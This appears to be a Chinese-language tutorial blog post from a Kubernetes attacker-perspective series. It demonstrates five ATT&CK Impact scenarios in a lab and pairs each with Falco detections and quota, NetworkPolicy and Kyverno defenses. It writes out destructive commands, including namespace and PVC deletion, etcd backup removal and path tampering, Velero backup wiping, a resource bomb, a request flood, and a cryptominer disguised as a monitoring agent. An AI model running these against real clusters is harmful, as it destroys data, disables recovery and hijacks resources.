iT邦幫忙

2026 iThome 鐵人賽

DAY 20
0
Kubernetes

資安這條路:從攻擊者視角看 Kubernetes系列 第 20 篇

Day 20|五種破壞手段:資料銷毀 + DoS + 阻止恢復 + 挖礦

  • 分享至 

  • xImage
  •  

資安這條路:從攻擊者視角看 Kubernetes

ATT&CK TA0040 Impact——攻擊鏈的最終階段,攻擊者造成實質損害。

概覽

Impact(影響)是 MITRE ATT&CK 攻擊鏈的最後一個戰術(TA0040)。走到這一步,攻擊者已經拿到足夠的權限,開始對目標造成實質損害——可能是破壞資料、癱瘓服務、勒索、或劫持運算資源。

KOAD 設計了 5 個場景(S31–S35)覆蓋 ATT&CK Containers Matrix 中所有 Impact 技術:

場景 ATT&CK 技術 攻擊手法 嚴重程度
S31 T1485 Data Destruction 刪除 Deployment + PVC CRITICAL
S32 T1499 Endpoint Denial of Service Resource Bomb 耗盡 CPU/Memory HIGH
S33 T1490 Inhibit System Recovery 刪除 backup CronJob + etcd snapshot CRITICAL
S34 T1498 Network Denial of Service 大量 Pod 消耗網路資源 HIGH
S35 T1496 Resource Hijacking XMRig 偽裝 Deployment 挖礦 CRITICAL

ATT&CK 攻擊鏈位置

TA0001 → TA0002 → TA0003 → TA0004 → TA0005 → TA0006 → TA0007 → TA0008 → TA0040
 入侵     執行     駐留     提權     隱匿     竊憑     偵察     橫移     影響 ←

Impact 通常是攻擊者的最終目的,但也可能在攻擊鏈中途就開始——例如挖礦劫持(S35)不需要特別高的權限,只要能部署 Pod 就行。


前置準備

所有指令都在 koad 專案目錄下執行。如果還沒 clone,請先參考 Day 1 的 Step 0。

開始前請確認以下環境就緒。

1. 確認靶場 Pod 運行中

# 主機終端
kubectl get pods -n koad | grep -E "data-destroy|resource-bomb|inhibit|net-dos|cryptominer"

如果 Pod 不在 Running 狀態,重新部署:

kubectl apply -f scenarios/impact/

2. 開啟 Falco 即時監控

# 第二終端 — 觀察破壞行為告警
kubectl logs -f -n falco -l app.kubernetes.io/name=falco | grep -i --color "koad\|impact\|delete\|crypto\|xmrig\|stress"

Impact 場景具有破壞性——建議先閱讀完整步驟,了解每步的影響範圍後再動手操作。

學習目標

完成本日實作後,你將能夠:

  • 展示資料破壞(刪除 Deployment + PVC)的不可逆後果
  • 用 Resource Bomb 耗盡節點 CPU/Memory
  • 理解攻擊者如何阻止災難恢復(刪除備份)
  • 觀察偽裝成監控工具的挖礦程式
  • 配置 ResourceQuota、LimitRange、PDB 防禦 Impact 攻擊

S31:資料破壞(T1485 Data Destruction)

原理深入

T1485 Data Destruction 的核心是「不可逆地刪除或覆蓋資料」。在 K8s 環境中,這意味著:

  1. 刪除 Deployment:服務立即中斷,但如果映像還在 Registry,可以重新部署
  2. 刪除 PVC:持久化資料永久遺失(如果沒有備份),這是真正的破壞
  3. 刪除 Namespace:連帶刪除底下所有資源,是最暴力的攻擊

攻擊者取得 delete 權限

KOAD 場景部署

S31 建立了一個模擬生產應用和 PVC:

# scenarios/impact/S31-data-destruction.yaml
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: critical-data
  namespace: koad
spec:
  accessModes: ["ReadWriteOnce"]
  resources:
    requests:
      storage: 1Gi
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: critical-app
  namespace: koad
spec:
  replicas: 2
  selector:
    matchLabels:
      app: critical-app
  template:
    metadata:
      labels:
        app: critical-app
    spec:
      containers:
        - name: app
          image: nginx:alpine
          volumeMounts:
            - name: data
              mountPath: /data
          command: ["sh", "-c"]
          args:
            - |
              echo "Production data initialized at $(date)" > /data/records.txt
              nginx -g "daemon off;"
      volumes:
        - name: data
          persistentVolumeClaim:
            claimName: critical-data

YAML 設計解析

S31 的 YAML 刻意模擬真實生產環境的資料架構:

# 關鍵設計 1:PVC 代表持久化資料
kind: PersistentVolumeClaim
spec:
  accessModes: ["ReadWriteOnce"]    # 單節點寫入,刪除即不可逆
  resources:
    requests:
      storage: 1Gi                  # 模擬生產資料量

# 關鍵設計 2:Deployment + PVC 綁定
volumes:
  - name: data
    persistentVolumeClaim:
      claimName: critical-data      # PVC 被刪除 = 資料永久遺失

# 關鍵設計 3:攻擊者 Pod 使用 overprivileged-sa
serviceAccountName: overprivileged-sa  # 擁有 delete 權限
image: bitnami/kubectl:latest          # 原生 kubectl 工具

重點在於 PVC 的 Reclaim Policy:預設為 Delete,代表 PVC 刪除後底層儲存也一併移除。生產環境應使用 Retain 策略。

設計理由

資料破壞是所有 Impact 攻擊中後果最嚴重的——一條 kubectl delete pvc 就能造成不可逆的資料遺失。KOAD 選擇 T1485 作為 Impact 的第一個場景,是因為現實中大多數 K8s 叢集的 RBAC 都過度授權,開發者帳號往往有 namespace 級別的 delete 權限。2022 年 Lapsus$ 組織攻擊多家科技公司時,就是透過合法憑證執行大規模資料刪除。

攻擊步驟

步驟 0:寫入模擬資料(前置準備)

kubectl exec -n koad deploy/critical-app -- \
    sh -c 'for i in $(seq 1 100); do echo "record-$i" >> /data/records.txt; done'
kubectl exec -n koad deploy/critical-app -- wc -l /data/records.txt

預期結果:

101 /data/records.txt

PVC 中有 101 筆資料記錄——這是接下來要破壞的目標。確認資料存在後才能驗證攻擊的破壞效果。

確認測試資料

步驟 1:刪除 Deployment(服務中斷)

kubectl delete deploy critical-app -n koad

預期結果:

deployment.apps "critical-app" deleted

Deployment 被刪除後,所有 Pod 立即終止——服務中斷。但只要映像還在 Registry,理論上可以重新 apply YAML 恢復。

刪除 Deployment

步驟 2:刪除 PVC(資料遺失)

kubectl delete pvc critical-data -n koad

預期結果:

persistentvolumeclaim "critical-data" deleted

PVC 刪除是不可逆的——底層的 PersistentVolume 會根據 reclaimPolicy 決定是否保留資料。如果設定為 Delete(預設),磁碟資料永久消失。

刪除 PVC

步驟 3:刪除整個 Namespace(最大破壞)

kubectl delete namespace production

預期結果:

namespace "production" deleted

底下所有 Deployment、Service、ConfigMap、Secret、PVC 全部消失

刪除 Namespace

Falco 偵測

KOAD 沒有針對 S31 的專用 syscall 規則(因為刪除是透過 K8s API,不是 syscall)。需要透過 k8s_audit 規則偵測:

- rule: KOAD S31 Mass Delete Detected
  condition: >
    jevt.value[/verb] = "delete" and
    jevt.value[/objectRef/resource] in
      ("deployments", "persistentvolumeclaims", "namespaces") and
    jevt.value[/objectRef/namespace] != "kube-system"
  output: >
    Critical resource deleted
    (user=%jevt.value[/user/username]
     resource=%jevt.value[/objectRef/resource]
     name=%jevt.value[/objectRef/name]
     ns=%jevt.value[/objectRef/namespace])
  priority: CRITICAL
  source: k8s_audit
  tags: [koad, impact, T1485]

防禦要點

措施 說明 效果
RBAC 限制 delete 動詞,特別是 PVC 和 Namespace 阻止未授權刪除
PDB 限制同時可被驅逐的 Pod 數量 保護服務可用性
Velero 備份 定期備份工作負載和 PV 可復原資料
finalizers 在 PVC 上設定 kubernetes.io/pvc-protection 防止正在使用的 PVC 被刪除
Audit Log 記錄所有 delete 操作 事後追蹤

S32:Resource Bomb(T1499 Endpoint Denial of Service)

原理深入

T1499 的目標是讓目標服務無法正常運作。在 K8s 中,最有效的方式是部署一個「Resource Bomb」——無限消耗 CPU 和 Memory 的 Pod,耗盡 Node 的運算資源,導致其他 Pod 被 OOMKilled 或無法排程。

Resource Bomb 部署

KOAD 場景

# scenarios/impact/S32-resource-bomb.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: resource-bomb
  namespace: koad
  labels:
    koad-scenario: S32
spec:
  replicas: 1
  selector:
    matchLabels:
      app: resource-bomb
  template:
    metadata:
      labels:
        app: resource-bomb
    spec:
      containers:
        - name: bomb
          image: progrium/stress
          args: ["--cpu", "8", "--vm", "4", "--vm-bytes", "512M"]
          # 故意不設 resources limits — 這就是問題所在

YAML 設計解析

S32 的核心在於「缺少什麼」而不是「有什麼」:

# 關鍵設計 1:stress 工具直接作為映像
image: progrium/stress
args: ["--cpu", "8", "--vm", "4", "--vm-bytes", "512M"]
# 8 個 CPU worker + 4 個 Memory worker,足以癱瘓單節點

# 關鍵設計 2:故意不設 resources limits
# 沒有以下設定 = 容器可以吃掉整個 Node 的資源
# resources:
#   limits:
#     cpu: "200m"
#     memory: "256Mi"

# 關鍵設計 3:replicas 可以快速放大
replicas: 1    # kubectl scale --replicas=100 就能癱瘓叢集

沒有 resources.limits 的 Pod 會被 QoS 分類為 BestEffort——這是 Node 壓力時第一批被驅逐的,但在被驅逐前已經造成了損害。

設計理由

Resource Bomb 是 K8s 環境中最低門檻的 DoS 手法——攻擊者只需要 create pods 權限就能癱瘓整個節點。KOAD 刻意省略 resources.limits 來展示 LimitRange(namespace 級別預設限制)和 ResourceQuota(namespace 級別總量限制)的重要性。在 2021 年 Siloscape 惡意軟體攻擊中,攻擊者進入 K8s 叢集後第一步就是部署大量 Pod 消耗資源。

攻擊效果觀察

步驟 1:部署 Resource Bomb

kubectl apply -f scenarios/impact/S32-resource-bomb.yaml

預期結果:

deployment.apps/resource-bomb created

Resource Bomb 部署成功——多個 Pod 同時用 stress 工具消耗 CPU 和記憶體,幾秒內就能讓 Node 資源耗盡。

部署 Resource Bomb

步驟 2:觀察 Node 資源使用

kubectl top node

預期結果:

NAME       CPU(cores)   CPU%   MEMORY(bytes)   MEMORY%
minikube   3891m        97%    3724Mi          94%

CPU 97%、記憶體 94%——Node 幾乎被榨乾。其他 Pod 會因為資源不足被 OOMKilled 或進入 Pending 狀態,等同於 DoS 整個叢集。

Node 資源耗盡

步驟 3:觀察其他 Pod 被影響

kubectl get pods -A | grep -v Running

預期結果:

NAMESPACE   NAME                      READY   STATUS      RESTARTS
koad        webapp-5b8f9d7c4-k2m8f    0/1     OOMKilled   3
kube-system coredns-7db6d8ff4-9xj2k   0/1     Pending     0

stress 指令的意義:--cpu 8 產生 8 個 worker 持續運算 sqrt();--vm 4 產生 4 個 worker 持續 malloc/free;--vm-bytes 512M 每次分配 512MB

Pod 被 OOMKilled

Falco 偵測

14:30:01 ALERT KOAD S32 Stress Tool Detected
  (pod=resource-bomb-xxx ns=koad
   tool=stress cmd=stress --cpu 8 --vm 4 --vm-bytes 512M)

防禦

# 1. ResourceQuota — 限制 Namespace 總資源
apiVersion: v1
kind: ResourceQuota
metadata:
  name: compute-quota
  namespace: production
spec:
  hard:
    requests.cpu: "4"
    requests.memory: "8Gi"
    limits.cpu: "8"
    limits.memory: "16Gi"
    pods: "20"

---
# 2. LimitRange — 限制單 Pod 資源
apiVersion: v1
kind: LimitRange
metadata:
  name: default-limits
  namespace: production
spec:
  limits:
    - default:
        cpu: "500m"
        memory: "256Mi"
      defaultRequest:
        cpu: "100m"
        memory: "64Mi"
      max:
        cpu: "2"
        memory: "2Gi"
      type: Container

ResourceQuota + LimitRange 雙層防禦:即使攻擊者部署了 Resource Bomb,也無法突破 Namespace 的總量限制和單 Pod 的上限。


S33:阻止恢復(T1490 Inhibit System Recovery)

原理深入

T1490 是攻擊者確保你「回不去」的手段。在勒索軟體攻擊中很常見——先加密資料,再刪除所有備份,讓受害者除了付贖金別無選擇。

在 K8s 環境中:

破壞恢復能力

YAML 設計解析

S33 設計了兩個元件——備份機制和破壞者:

# 關鍵設計 1:CronJob 模擬定時備份
kind: CronJob
spec:
  schedule: "0 */6 * * *"      # 每 6 小時備份一次
  # 攻擊者刪除 CronJob = 後續備份停止

# 關鍵設計 2:攻擊者使用 overprivileged-sa
serviceAccountName: overprivileged-sa
image: bitnami/kubectl:latest
# 同時擁有 delete cronjobs 和 exec 權限

# 關鍵設計 3:備份路徑可被竄改
# etcd --data-dir 和 snapshot 路徑暴露在 Pod spec 中
# 攻擊者可透過 kubectl edit 修改路徑到 /dev/null

KOAD 用 CronJob + etcd snapshot 組合,完整模擬從「刪除備份排程」到「清除已有備份」再到「竄改備份路徑」的三階段攻擊。

設計理由

T1490 在傳統環境中是勒索軟體的標準配套——先刪備份再加密。在 K8s 環境中,etcd 就是整個叢集的「資料庫」,刪除 etcd snapshot 等於讓叢集失去最後的恢復手段。KOAD 選擇這個場景是因為許多組織的 K8s 備份策略只有「定時 CronJob」,沒有異地備份或不可變儲存。2020 年 Maze 勒索軟體組織就是先刪除所有備份再進行加密。

攻擊步驟

步驟 1:刪除備份 CronJob

kubectl delete cronjob etcd-backup -n koad

預期結果:

cronjob.batch "etcd-backup" deleted

備份 CronJob 被刪除後,定時備份停止執行——攻擊者確保後續的破壞無法從備份恢復。

刪除備份 CronJob

步驟 2:刪除已有的 etcd snapshot

kubectl exec -it etcd-pod -n kube-system -- \
    rm -f /var/lib/etcd/backup/*.db

預期結果:

(無輸出表示刪除成功)

etcd snapshot 是叢集的最後防線——刪除後即使有 etcdctl snapshot restore 的知識,也沒有資料可以恢復。

刪除 etcd snapshot

步驟 3:修改 etcd snapshot 路徑,讓後續備份寫到 /dev/null

kubectl exec -it etcd-pod -n kube-system -- \
    sed -i 's|/var/lib/etcd|/dev/null|' /etc/etcd/etcd.conf

預期結果:

(無輸出表示修改成功,後續備份將寫入 /dev/null 而非實際路徑)

比直接刪除更隱蔽——備份 CronJob 照常執行,但資料寫入 /dev/null(黑洞),管理員以為備份正常運作但實際上什麼都沒存。

竄改 etcd 路徑

步驟 4:刪除 Velero 備份

kubectl delete backups.velero.io --all -n velero

預期結果:

backup.velero.io "daily-backup-20260819" deleted
backup.velero.io "weekly-backup-20260817" deleted

Velero 備份被刪除後,連同後端儲存(S3/GCS)中的備份檔案也會被清除——這就是為什麼需要異地備份和 RBAC 保護 Velero namespace。

刪除 Velero 備份

真實案例

事件 年份 T1490 手法 影響
NotPetya 2017 覆寫 MBR + 刪除 Volume Shadow Copy Maersk 損失 $3 億
RansomExx 2020 刪除 Linux 備份 + 加密 VMware ESXi 多家企業資料遺失
K8s 挖礦事件 2023 刪除 etcd snapshot + 停用監控 叢集無法恢復

防禦

措施 說明 為什麼有效
異地備份 備份儲存在叢集外(S3/GCS) 攻擊者沒有 S3 權限就刪不到
RBAC 保護 限制 kube-system 的 exec + delete 防止接觸 etcd
備份監控 Prometheus 監控 CronJob 執行狀態 備份被刪會立即告警
etcd 加密 etcd 資料加密 即使竊取 snapshot 也讀不到
不可變備份 S3 Object Lock / WORM 連 S3 管理員都無法刪除

S34:網路 DoS(T1498 Network Denial of Service)

原理深入

在容器化環境中,網路 DoS 有獨特的攻擊面:

K8s 網路 DoS 攻擊面

KOAD 場景

# scenarios/impact/S34-network-dos.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: network-flood
  namespace: koad
  labels:
    koad-scenario: S34
spec:
  replicas: 10
  selector:
    matchLabels:
      app: network-flood
  template:
    metadata:
      labels:
        app: network-flood
    spec:
      containers:
        - name: flooder
          image: busybox:1.36
          command: ["sh", "-c"]
          args:
            - |
              while true; do
                wget -q -O /dev/null http://critical-app.koad:80 2>/dev/null
                sleep 0.01
              done

10 個 Pod × 每秒 100 個請求 = 每秒 1,000 個請求打向 critical-app。

YAML 設計解析

S34 利用 K8s 的原生能力來放大攻擊流量:

# 關鍵設計 1:高 replicas 產生分散式流量
replicas: 10                      # 10 個 Pod 同時發送請求
# kubectl scale --replicas=500 可以進一步放大

# 關鍵設計 2:busybox 的 wget 作為攻擊工具
image: busybox:1.36               # 極小映像,快速拉取
command: ["sh", "-c"]
args:
  - |
    while true; do
      wget -q -O /dev/null http://critical-app.koad:80
      sleep 0.01                  # 每個 Pod 每秒 ~100 個請求
    done

# 關鍵設計 3:K8s 內部 DNS 解析
# critical-app.koad 透過 CoreDNS 解析
# 沒有 NetworkPolicy = 任何 Pod 都能存取任何 Service

攻擊不需要特殊權限或工具——只要能建立 Pod 並知道目標 Service 的名稱,就能發起內部 DDoS。

設計理由

網路 DoS 在 K8s 環境中特別危險,因為預設的扁平網路模型讓所有 Pod 都能互相通訊。KOAD 用 busybox + wget 而不是專業 DDoS 工具,是為了展示即使最簡單的工具也能造成嚴重影響。此外,每個 Service 會產生 iptables/IPVS 規則,大量建立 Service 也會拖慢整個節點的封包處理效能。防禦關鍵是 NetworkPolicy(限制 Pod 間通訊)和 ResourceQuota(限制 Service 數量)。

攻擊效果

步驟 1:部署攻擊 Pod

kubectl apply -f scenarios/impact/S34-network-dos.yaml

預期結果:

deployment.apps/network-flood created

多個 Pod 同時對目標服務發送大量請求,模擬 DDoS 攻擊。在沒有 NetworkPolicy 的叢集中,任何 Pod 都能向任何 Service 發送流量。

部署 DoS 攻擊 Pod

步驟 2:觀察目標 Service 的連線數

kubectl exec -n koad deploy/critical-app -- ss -s

預期結果:

Total: 1247
TCP:   1024 (estab 1018, closed 2, orphaned 0, timewait 4)

1018 條 established 連線代表 DoS 攻擊已生效——正常的 Pod 可能只有幾十條連線,1000+ 代表目標服務正在被淹沒。

觀察連線數暴增

步驟 3:觀察 CoreDNS 負載

kubectl top pod -n kube-system -l k8s-app=kube-dns

預期結果:

NAME                       CPU(cores)   MEMORY(bytes)
coredns-7db6d8ff4-9xj2k   245m         38Mi

CoreDNS CPU 飆升到 245m(正常約 10-30m),代表網路 DoS 的連帶效應——大量連線產生的 DNS 查詢拖垮了叢集的 DNS 服務,影響所有 Pod 的域名解析。

CoreDNS 負載升高

防禦

# 1. NetworkPolicy 限制流量來源
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-only-frontend
  namespace: koad
spec:
  podSelector:
    matchLabels:
      app: critical-app
  policyTypes: ["Ingress"]
  ingress:
    - from:
        - podSelector:
            matchLabels:
              role: frontend
      ports:
        - port: 80

---
# 2. ResourceQuota 限制 Pod 數量
apiVersion: v1
kind: ResourceQuota
metadata:
  name: pod-quota
  namespace: koad
spec:
  hard:
    pods: "20"

S35:挖礦劫持(T1496 Resource Hijacking)

原理深入

T1496 Resource Hijacking 是近年來最常見的容器攻擊目的之一。攻擊者不破壞資料、不勒索,而是靜靜地劫持你的運算資源來挖加密貨幣——特別是 Monero(XMR),因為它的隱私特性讓交易無法被追蹤。

挖礦劫持流程

KOAD 場景

# scenarios/impact/S35-cryptominer.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: monitoring-agent        # ← 偽裝成監控代理
  namespace: koad
  labels:
    app: monitoring-agent
    app.kubernetes.io/component: monitoring
    app.kubernetes.io/part-of: kube-prometheus
spec:
  replicas: 1
  selector:
    matchLabels:
      app: monitoring-agent
  template:
    metadata:
      labels:
        app: monitoring-agent
    spec:
      containers:
        - name: agent
          image: koad/cryptominer-image:latest
          resources:
            requests:
              cpu: "500m"
            limits:
              cpu: "2"
          env:
            - name: POOL_URL
              value: "stratum+tcp://pool.example.com:3333"
            - name: WALLET
              value: "44AFFq5kSiGBoZ4NMDwYtN18obc8AemS33DBLWs3H7otXft..."

YAML 設計解析

S35 展示了攻擊者如何讓惡意 Pod 「隱藏在眾多服務中」:

# 關鍵設計 1:名稱偽裝
name: monitoring-agent              # 偽裝成合法的監控元件
labels:
  app.kubernetes.io/component: monitoring
  app.kubernetes.io/part-of: kube-prometheus  # 偽裝成 Prometheus 套件

# 關鍵設計 2:合理的資源請求
resources:
  requests:
    cpu: "500m"                     # 不會觸發異常告警的 CPU 量
  limits:
    cpu: "2"                        # 但實際可以用到 2 核心挖礦

# 關鍵設計 3:環境變數暴露攻擊意圖
env:
  - name: POOL_URL
    value: "stratum+tcp://pool.example.com:3333"  # 礦池連線
  - name: WALLET
    value: "44AFFq5..."                            # 錢包地址
# 偵測點:Falco 可以偵測 stratum 協議和已知礦池域名

偽裝的精髓在於讓 kubectl get pods 的輸出看起來完全正常——名稱、標籤、資源用量都像合法的監控元件。

設計理由

挖礦劫持是 K8s 環境中最常見的攻擊動機。根據 Sysdig 2023 年報告,超過 60% 的容器攻擊最終目的是挖礦。KOAD 選擇 XMRig + Monero 組合,是因為這是現實中最主流的容器挖礦方式——Monero 的 RandomX 演算法專為 CPU 優化,不需要 GPU,完美適合容器環境。Tesla 2018 年的 K8s 叢集被入侵後就是被用來挖 Monero。KOAD 用偽裝命名和合法標籤展示了為什麼僅靠人工巡檢無法發現挖礦 Pod,需要 Falco 等執行期偵測工具。

為什麼選 Monero

特性 Bitcoin Monero (XMR)
交易追蹤 公開透明 完全隱私
挖礦硬體 需要 ASIC CPU 友好
挖礦軟體 專用礦機 XMRig(任何 CPU 可跑)
適合劫持 不適合 非常適合

Monero 的 RandomX 演算法專為 CPU 優化,不需要 GPU 或 ASIC,這讓容器內的 CPU 成為完美的挖礦目標。

動手觀察:找出偽裝的挖礦 Pod

挖礦 Pod 已由 KOAD 自動部署,以下步驟帶你從攻擊者和防禦者兩個視角觀察它。

步驟 1:在 Pod 清單中找出異常

# 主機終端 — 列出所有 Pod,挖礦 Pod 混在其中
kubectl get pods -n koad -o wide

預期結果:

NAME                                READY   STATUS    AGE     NODE
attacker                            1/1     Running   1h      minikube
critical-app-5b8f9d7c4-k2m8f       1/1     Running   1h      minikube
critical-app-5b8f9d7c4-p9d3j       1/1     Running   1h      minikube
monitoring-agent-7f8c9d6e5-x4k2n   1/1     Running   45m     minikube   ← 偽裝
ssrf-webapp-6b7c8d9e0-m3n4o        1/1     Running   1h      minikube

不仔細看完全不會發現——名字像監控、Label 像監控、只是 CPU 高了點。

步驟 2:用 CPU 使用率揪出挖礦 Pod

# 主機終端 — 觀察 CPU 使用量(挖礦 Pod 會明顯偏高)
kubectl top pods -n koad --sort-by=cpu 2>/dev/null | head -10

預期結果(類似):

NAME                                CPU(cores)   MEMORY(bytes)
monitoring-agent-7f8c9d6e5-x4k2n   487m         32Mi     ← CPU 異常偏高
critical-app-5b8f9d7c4-k2m8f       12m          64Mi
ssrf-webapp-6b7c8d9e0-m3n4o        5m           48Mi
attacker                            2m           28Mi

其他 Pod 都在個位數 mCPU,只有 monitoring-agent 持續消耗 ~500m CPU。這是挖礦最典型的特徵——持續穩定的高 CPU 負載。

步驟 3:檢查 Pod 詳細資訊揭露偽裝

# 主機終端 — 檢查可疑 Pod 的映像和環境變數
kubectl describe pod -n koad -l app=monitoring-agent | \
  grep -A2 "Image:\|POOL_URL\|WALLET"

預期結果:

    Image:         koad/cryptominer-image:latest
      POOL_URL:    stratum+tcp://pool.example.com:3333
      WALLET:      44AFFq5kSiGBoZ4NMDwYtN18obc8AemS33DBLWs3H7otXft...

映像名稱 koad/cryptominer-image 和環境變數 POOL_URL、WALLET 直接暴露了挖礦意圖。真實攻擊者會用更隱蔽的映像名和 ConfigMap,但模式相同。

步驟 4:檢查容器內的 Process

# 主機終端 — 查看容器內實際執行的 Process
kubectl exec -n koad $(kubectl get pod -n koad -l app=monitoring-agent -o name | head -1) \
  -- ps aux 2>/dev/null || \
kubectl exec -n koad $(kubectl get pod -n koad -l app=monitoring-agent -o name | head -1) \
  -- cat /proc/1/cmdline 2>/dev/null | tr '\0' ' '

實際執行的是挖礦腳本而非監控程式。結合步驟 2 的 CPU 異常和步驟 3 的 Stratum Pool URL,三個指標同時出現即可確認挖礦行為。

步驟 5:驗證 Falco 是否偵測到

# 主機終端 — 查看 Falco 是否產生告警
kubectl logs -n falco -l app.kubernetes.io/name=falco --tail=20 2>/dev/null | \
  grep -i "miner\|crypto\|S35" | tail -3

預期結果(類似):

{"output":"14:40:01 CRITICAL KOAD S35 Cryptocurrency Miner Detected
  (pod=monitoring-agent-7f8c9d6e5-x4k2n miner=fake-miner.sh ...)"}

Falco 規則比對了已知的挖礦程式名稱和行為模式,自動產生 CRITICAL 告警。

真實案例

事件 年份 入侵方式 影響
Tesla K8s 2018 暴露的 Kubernetes Dashboard 被植入 XMRig,雲端帳單暴增
Azure AKS 事件 2022 弱密碼的 Kubeflow 數百個 Pod 挖礦
TeamTNT 2020-2023 Docker/K8s API 暴露 全球最大容器挖礦殭屍網路

Falco 偵測

14:40:01 CRITICAL KOAD S35 Cryptocurrency Miner Detected
  (pod=monitoring-agent-7f8c9d6e5-x4k2n miner=fake-miner.sh
   cmd=./fake-miner.sh image=koad/cryptominer-image)

挖礦偵測指標

指標 正常值 異常值(疑似挖礦)
CPU 使用率 < 70% 持續 > 95%
CPU 使用模式 波動 持續穩定高負載
網路出站 Port 80, 443 3333, 45700(Stratum)
Process name 已知應用 xmrig, minerd
DNS 查詢 正常域名 pool.minergate.com, xmr.pool.*

防禦

措施 說明 偵測/阻擋
映像白名單 Kyverno 限制只允許信任 Registry 阻擋
CPU 監控 Prometheus 告警 > 95% CPU 持續 10 分鐘 偵測
網路監控 NetworkPolicy 阻擋 3333/45700 出站 阻擋
ResourceQuota 限制 CPU 使用量 降低損害
Falco 偵測已知挖礦程式 + Stratum 協議 偵測

ephemeral-storage 資源限制

除了 CPU 和 Memory,Pod 還能透過寫入容器的可寫層、日誌輸出、emptyDir Volume 來消耗 Node 的磁碟空間。當 Node 磁碟用量超過閾值,kubelet 會觸發 eviction(驅逐),移除 Pod 來回收磁碟——這可能導致整個 Node 上的所有 Pod 被驅逐,造成服務中斷。

攻擊場景

攻擊者部署一個不斷寫入大檔案的 Pod(例如 dd if=/dev/zero of=/tmp/fill bs=1M),快速填滿 Node 磁碟。與 S32 Resource Bomb 類似,但攻擊目標是磁碟而非 CPU/Memory。

防禦:設定 ephemeral-storage limits

apiVersion: v1
kind: Pod
metadata:
  name: app
spec:
  containers:
    - name: app
      image: myapp:v1.0
      resources:
        requests:
          ephemeral-storage: "256Mi"
        limits:
          ephemeral-storage: "1Gi"    # 超過 1Gi 會被驅逐

搭配 LimitRange 為 Namespace 設定預設值:

apiVersion: v1
kind: LimitRange
metadata:
  name: ephemeral-storage-limits
  namespace: production
spec:
  limits:
    - default:
        ephemeral-storage: "1Gi"
      defaultRequest:
        ephemeral-storage: "256Mi"
      max:
        ephemeral-storage: "5Gi"
      type: Container

與 Impact 場景的關聯

S31-S35 的五種破壞手段中,S32 Resource Bomb 和 S34 Network DoS 都能搭配磁碟耗盡來放大攻擊效果。防禦時應將 ephemeral-storage 與 CPU/Memory 的 ResourceQuota + LimitRange 一併設定,形成完整的資源限制策略。


PriorityClass 濫用與搶占攻擊

K8s 的 PriorityClass 決定了 Pod 的排程優先順序。當叢集資源不足時,高優先順序的 Pod 會搶占(Preempt)低優先順序的 Pod——kubelet 會驅逐低優先 Pod 來為高優先 Pod 騰出資源。

攻擊方式

攻擊者建立一個極高優先順序的 PriorityClass,然後部署大量使用該 PriorityClass 的 Pod,導致叢集中的正常工作負載被搶占驅逐:

apiVersion: scheduling.k8s.io/v1
kind: PriorityClass
metadata:
  name: attacker-critical
value: 1000000000              # 極高優先順序
globalDefault: false
preemptionPolicy: PreemptLowerPriority
description: "Attacker's high-priority class"
---
apiVersion: v1
kind: Pod
metadata:
  name: preempt-attack
spec:
  priorityClassName: attacker-critical
  containers:
    - name: attacker
      image: busybox
      command: ["sleep", "infinity"]
      resources:
        requests:
          cpu: "2"
          memory: "4Gi"

K8s 內建兩個最高優先的 PriorityClass:system-cluster-critical(2000000000)和 system-node-critical(2000001000),保留給 kube-system 元件。攻擊者無法超越這兩個,但可以搶占所有非系統 Pod。

防禦:Kyverno 限制 PriorityClass

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: restrict-priority-class
spec:
  validationFailureAction: Enforce
  rules:
    - name: block-high-priority
      match:
        any:
          - resources:
              kinds: ["Pod"]
      validate:
        message: "PriorityClass value must not exceed 10000"
        deny:
          conditions:
            any:
              - key: "{{ request.object.spec.priorityClassName || '' }}"
                operator: AnyNotIn
                value: ["", "low", "medium", "high"]
    - name: block-priority-class-creation
      match:
        any:
          - resources:
              kinds: ["PriorityClass"]
      validate:
        message: "Only cluster admins can create PriorityClass"
        deny:
          conditions:
            any:
              - key: "{{ request.object.value }}"
                operator: GreaterThan
                value: 10000

搭配 RBAC 限制:只有叢集管理員才能建立和修改 PriorityClass 資源,一般應用的 ServiceAccount 不應擁有 scheduling.k8s.io API Group 的 create/update 權限。


ATT&CK 攻擊鏈完結

Impact 是 ATT&CK 攻擊鏈的最後一個戰術。回顧從 Day 2 到 Day 20 的完整路徑:

TA0001 Initial Access (Day 2) → SSRF / kubelet / kubeconfig


踩坑提醒

踩坑 1:stress 映像在 ARM 上不可用

# progrium/stress 只有 amd64
# 如果你在 Apple Silicon Mac 上用 minikube
$ kubectl logs resource-bomb-xxx
exec format error

# 解法:用 alexeiled/stress-ng 或自建 stress 映像
$ docker build -t koad/stress - <<'EOF'
FROM alpine:3.19
RUN apk add --no-cache stress-ng
ENTRYPOINT ["stress-ng"]
EOF

踩坑 2:PVC 刪除卡在 Terminating

# 原因:PVC 有 finalizer 保護
$ kubectl get pvc critical-data -n koad -o jsonpath='{.metadata.finalizers}'
["kubernetes.io/pvc-protection"]

# 如果 PVC 正在被 Pod 使用,必須先刪除 Pod
$ kubectl delete pod -l app=critical-app -n koad
$ kubectl delete pvc critical-data -n koad

踩坑 3:NetworkPolicy 不是防火牆

# NetworkPolicy 只能限制 Pod 間的通訊,不能限制:
# - 單一 Pod 的請求速率
# - 應用層的 DoS(HTTP flood)

# 需要搭配 Ingress Controller 的 rate limiting
metadata:
  annotations:
    nginx.ingress.kubernetes.io/limit-rps: "10"
    nginx.ingress.kubernetes.io/limit-connections: "5"

CKS 考點

考點 本日內容 權重 考法
ResourceQuota Namespace 資源限額 Minimize 20% 要求配置 CPU/Memory 限額
LimitRange Pod 預設值和上下限 Minimize 20% 要求設定預設 limits
PDB 服務可用性保護 Hardening 15% 要求配置 minAvailable
備份 etcd snapshot Setup 15% 要求執行 etcdctl snapshot save

清理與重設

Impact 場景具有破壞性,務必恢復環境:

# 主機終端 — 重建所有 Impact 場景 Pod
kubectl apply -f scenarios/impact/

# 如果刪除了其他 namespace 的資源,也需要重建
# kubectl apply -f scenarios/  # 重建全部場景

Resource Bomb(S32)可能導致節點 OOM——如果 Minikube 節點不穩定,執行 minikube stop && minikube start 重啟。


完成度自我檢查

